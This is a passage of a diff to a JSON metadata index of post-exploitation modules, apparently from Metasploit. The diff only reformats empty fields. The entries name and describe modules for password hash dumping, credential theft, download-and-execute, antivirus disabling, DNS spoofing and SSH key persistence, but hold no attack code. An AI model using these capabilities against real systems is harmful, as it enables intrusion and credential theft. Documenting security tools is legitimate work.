- "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264566,22 +235315,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/zigbee/zstumbler": { "name": "Sends Beacons to Scan for Active ZigBee Networks", "fullname": "post/hardware/zigbee/zstumbler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264589,9 +235333,7 @@ "Craig Smith" ], "description": "Post Module to send beacon signals to the broadcast address while\n channel hopping", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264605,22 +235347,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/enum_connections": { "name": "BusyBox Enumerate Connections", "fullname": "post/linux/busybox/enum_connections", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264628,9 +235365,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will\n enumerate the connections established with the router or device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264644,22 +235379,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/enum_hosts": { "name": "BusyBox Enumerate Host Names", "fullname": "post/linux/busybox/enum_hosts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264667,9 +235397,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will enumerate\n host names related to the device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264683,22 +235411,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/jailbreak": { "name": "BusyBox Jailbreak ", "fullname": "post/linux/busybox/jailbreak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264706,9 +235429,7 @@ "Javier Vicente Vallejo" ], "description": "This module will send a set of commands to an open session that is connected to a\n BusyBox limited shell (i.e. a router limited shell). It will try different known\n tricks to jailbreak the limited shell and get a full BusyBox shell.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264722,22 +235443,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/ping_net": { "name": "BusyBox Ping Network Enumeration", "fullname": "post/linux/busybox/ping_net", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264745,9 +235461,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will ping a range\n of IP addresses from the router or device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264761,22 +235475,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/set_dmz": { "name": "BusyBox DMZ Configuration", "fullname": "post/linux/busybox/set_dmz", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264784,9 +235493,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It allows to manage\n traffic forwarding to a target host through the BusyBox device.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264800,22 +235507,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/set_dns": { "name": "BusyBox DNS Configuration", "fullname": "post/linux/busybox/set_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264823,9 +235525,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It allows\n to set the DNS server on the device executing BusyBox so it will be sent by the\n DHCP server to network hosts.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264839,22 +235539,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/smb_share_root": { "name": "BusyBox SMB Sharing", "fullname": "post/linux/busybox/smb_share_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264862,9 +235557,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will modify\n the SMB configuration of the device executing BusyBox to share the root directory of\n the device.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264878,22 +235571,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/wget_exec": { "name": "BusyBox Download and Execute", "fullname": "post/linux/busybox/wget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264901,9 +235589,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will use wget to\n download and execute a file from the device running BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264917,22 +235603,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/dos/xen_420_dos": { "name": "Linux DoS Xen 4.2.0 2012-5525", "fullname": "post/linux/dos/xen_420_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264957,22 +235638,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ansible": { "name": "Ansible Config Gather", "fullname": "post/linux/gather/ansible", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264980,9 +235656,7 @@ "h00die" ], "description": "This module will grab ansible information including hosts, ping status, and the configuration file.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -265000,28 +235674,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ansible_playbook_error_message_file_reader": { "name": "Ansible Playbook Error Message File Reader", "fullname": "post/linux/gather/ansible_playbook_error_message_file_reader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265050,28 +235716,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/apache_nifi_credentials": { "name": "Apache NiFi Credentials Gather", "fullname": "post/linux/gather/apache_nifi_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265101,28 +235759,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/checkcontainer": { "name": "Linux Gather Container Detection", "fullname": "post/linux/gather/checkcontainer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265130,9 +235780,7 @@ "James Otten " ], "description": "This module attempts to determine whether the system is running\n inside of a container and if so, which one. This module supports\n detection of Docker, WSL, LXC, Podman and systemd nspawn.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -265153,25 +235801,19 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/checkvm": { "name": "Linux Gather Virtual Environment Detection", "fullname": "post/linux/gather/checkvm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265179,9 +235821,7 @@ "Carlos Perez " ], "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, VirtualBox, Xen,\n Bhyve and QEMU/KVM.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265195,23 +235835,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ecryptfs_creds": { "name": "Gather eCryptfs Metadata", "fullname": "post/linux/gather/ecryptfs_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265219,9 +235854,7 @@ "Dhiru Kholia " ], "description": "This module will collect the contents of all users' .ecrypts directories on\n the targeted machine. Collected \"wrapped-passphrase\" files can be\n cracked with John the Ripper (JtR) to recover \"mount passphrases\".", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265235,22 +235868,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_commands": { "name": "Gather Available Shell Commands", "fullname": "post/linux/gather/enum_commands", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265258,9 +235886,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will check which shell commands are available on a system.\"", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -265278,28 +235904,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_configs": { "name": "Linux Gather Configurations", "fullname": "post/linux/gather/enum_configs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265307,9 +235925,7 @@ "ohdae " ], "description": "This module collects configuration files found on commonly installed\n applications and services, such as Apache, MySQL, Samba, Sendmail, etc.\n If a config file is found in its default path, the module will assume\n that is the file we want.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265323,23 +235939,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_containers": { "name": "Linux Container Enumeration", "fullname": "post/linux/gather/enum_containers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265347,9 +235958,7 @@ "stealthcopter" ], "description": "This module attempts to enumerate containers on the target machine and optionally run a command on each active container found.\n Currently it supports Docker, LXC and RKT.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265370,25 +235979,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_nagios_xi": { "name": "Nagios XI Enumeration", "fullname": "post/linux/gather/enum_nagios_xi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-04-17", "type": "post", @@ -265396,9 +235999,7 @@ "Cale Smith" ], "description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265412,23 +236013,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_network": { "name": "Linux Gather Network Information", "fullname": "post/linux/gather/enum_network", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265437,9 +236033,7 @@ "Stephen Haywood " ], "description": "This module gathers network information from the target system\n IPTables rules, interfaces, wireless information, open and listening\n ports, active network connections, DNS information and SSH information.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265453,23 +236047,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_protections": { "name": "Linux Gather Protection Enumeration", "fullname": "post/linux/gather/enum_protections", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265477,9 +236066,7 @@ "ohdae " ], "description": "This module checks whether popular system hardening mechanisms are\n in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\n tries to find installed applications that can be used to hinder,\n prevent, or detect attacks, such as tripwire, snort, and apparmor.\n\n This module is meant to identify Linux Secure Modules (LSM) in addition\n to various antivirus, IDS/IPS, firewalls, sandboxes and other security\n related software.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265493,23 +236080,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_psk": { "name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials", "fullname": "post/linux/gather/enum_psk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265517,9 +236099,7 @@ "Cenk Kalpakoglu" ], "description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265537,28 +236117,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_system": { "name": "Linux Gather System and User Information", "fullname": "post/linux/gather/enum_system", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265570,9 +236142,7 @@ "Roberto Espreto " ], "description": "This module gathers system information. We collect\n installed packages, installed services, mount information,\n user list, user bash history and cron jobs", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265586,23 +236156,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_users_history": { "name": "Linux Gather User History", "fullname": "post/linux/gather/enum_users_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265610,9 +236175,7 @@ "ohdae " ], "description": "This module gathers the following user-specific information:\n shell history, MySQL history, PostgreSQL history, MongoDB history,\n Vim history, lastlog, and sudoers.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265626,23 +236189,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/f5_loot_mcp": { "name": "F5 Big-IP Gather Information from MCP Datastore", "fullname": "post/linux/gather/f5_loot_mcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-11-16", "type": "post", @@ -265669,31 +236227,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/gnome_commander_creds": { "name": "Linux Gather Gnome-Commander Creds", "fullname": "post/linux/gather/gnome_commander_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265701,9 +236249,7 @@ "David Bloom" ], "description": "This module collects the clear text passwords stored by\n Gnome-commander, a GUI file explorer for GNOME. Typically, these\n passwords are stored in the user's home directory, at\n ~/.gnome-commander/connections.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265717,23 +236263,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/gnome_keyring_dump": { "name": "Gnome-Keyring Dump", "fullname": "post/linux/gather/gnome_keyring_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265741,9 +236282,7 @@ "Spencer McIntyre" ], "description": "Use libgnome-keyring to extract network passwords for the current user.\n This module does not require root privileges to run.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265757,22 +236296,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/haserl_read": { "name": "Haserl Arbitrary File Reader", "fullname": "post/linux/gather/haserl_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265806,25 +236340,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/hashdump": { "name": "Linux Gather Dump Password Hashes for Linux Systems", "fullname": "post/linux/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265832,9 +236360,7 @@ "Carlos Perez " ], "description": "Post Module to dump the password hashes for all users on a Linux System", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265848,23 +236374,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/manageengine_password_manager_creds": { "name": "Linux Gather ManageEngine Password Manager Pro Password Extractor", "fullname": "post/linux/gather/manageengine_password_manager_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265896,28 +236417,20 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/mimipenguin": { "name": "MimiPenguin", "fullname": "post/linux/gather/mimipenguin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-05-23", "type": "post", @@ -265947,30 +236460,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/mount_cifs_creds": { "name": "Linux Gather Saved mount.cifs/mount.smbfs Credentials", "fullname": "post/linux/gather/mount_cifs_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265978,9 +236481,7 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for mount.cifs/mount.smbfs in\n /etc/fstab on a Linux system.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265994,23 +236495,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/openvpn_credentials": { "name": "OpenVPN Gather Credentials", "fullname": "post/linux/gather/openvpn_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266035,23 +236531,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/phpmyadmin_credsteal": { "name": "Phpmyadmin credentials stealer", "fullname": "post/linux/gather/phpmyadmin_credsteal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266060,9 +236551,7 @@ "Dhiraj Mishra " ], "description": "This module gathers Phpmyadmin creds from target linux machine.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266076,22 +236565,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/pptpd_chap_secrets": { "name": "Linux Gather PPTP VPN chap-secrets Credentials", "fullname": "post/linux/gather/pptpd_chap_secrets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266099,9 +236583,7 @@ "sinn3r " ], "description": "This module collects PPTP VPN information such as client, server, password,\n and IP from your target server's chap-secrets file.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266115,23 +236597,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/puppet": { "name": "Puppet Config Gather", "fullname": "post/linux/gather/puppet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266159,28 +236636,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/rancher_audit_log_leak": { "name": "Rancher Audit Log Sensitive Information Leak", "fullname": "post/linux/gather/rancher_audit_log_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-02-08", "type": "post", @@ -266207,31 +236676,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/tor_hiddenservices": { "name": "Linux Gather TOR Hidden Services", "fullname": "post/linux/gather/tor_hiddenservices", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266239,9 +236698,7 @@ "Harvey Phillips " ], "description": "This module collects the hostnames name and private keys of\n any TOR Hidden Services running on the target machine. It\n will search for torrc and if found, will parse it for the\n directories of Hidden Services. However, root permissions\n are required to read them as they are owned by the user that\n TOR runs as, usually a separate account.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266255,23 +236712,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/vcenter_secrets_dump": { "name": "VMware vCenter Secrets Dump", "fullname": "post/linux/gather/vcenter_secrets_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-04-15", "type": "post", @@ -266304,9 +236756,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -266326,9 +236776,7 @@ "post_linux/manage/adduser": { "name": "Add a new user to the system", "fullname": "post/linux/manage/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266336,9 +236784,7 @@ "Nick Cottrell " ], "description": "This command adds a new user to the system", - "references": [ - - ], + "references": [], "platform": "AIX,BSD,Linux,Solaris,Unix", "arch": "", "rport": null, @@ -266356,9 +236802,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -266368,16 +236812,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/disable_clamav": { "name": "Disable ClamAV", "fullname": "post/linux/manage/disable_clamav", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -266385,9 +236825,7 @@ "DLL_Cool_J" ], "description": "This module will write to the ClamAV Unix socket to shutoff ClamAV.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266405,9 +236843,7 @@ "Stability": [ "service-resource-loss" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -266417,16 +236853,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/dns_spoofing": { "name": "Native DNS Spoofing module", "fullname": "post/linux/manage/dns_spoofing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266434,9 +236866,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will be applied on a session connected to a shell. It will redirect DNS Request to remote DNS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266450,23 +236880,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/download_exec": { "name": "Linux Manage Download and Execute", "fullname": "post/linux/manage/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266474,9 +236899,7 @@ "Joshua D. Abraham " ], "description": "This module downloads and runs a file with bash. It first tries to uses curl as\n its HTTP client and then wget if it's not found. Bash found in the PATH is used\n to execute the file.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266490,23 +236913,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/geutebruck_post_exp": { "name": "Geutebruck Camera Deface", "fullname": "post/linux/manage/geutebruck_post_exp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266515,9 +236933,7 @@ "Sébastien Charbonnier" ], "description": "This module will take an existing session on a vulnerable Geutebruck Camera\n and will allow the user to either freeze the camera and display the last\n image from the video stream, display an image on the camera, or restore\n the camera back to displaying the current feed/stream.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266531,8 +236947,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], @@ -266555,9 +236970,7 @@ "post_linux/manage/iptables_removal": { "name": "IPTABLES rules removal", "fullname": "post/linux/manage/iptables_removal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266565,9 +236978,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266581,23 +236992,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/pseudo_shell": { "name": "Pseudo-Shell Post-Exploitation Module", "fullname": "post/linux/manage/pseudo_shell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266605,9 +237011,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will run a Pseudo-Shell.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266621,23 +237025,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/sshkey_persistence": { "name": "SSH Key Persistence", "fullname": "post/linux/manage/sshkey_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -266645,9 +237044,7 @@ "h00die " ], "description": "This module will add an SSH key to a specified user (or all), to allow\n remote login via SSH at any time.", 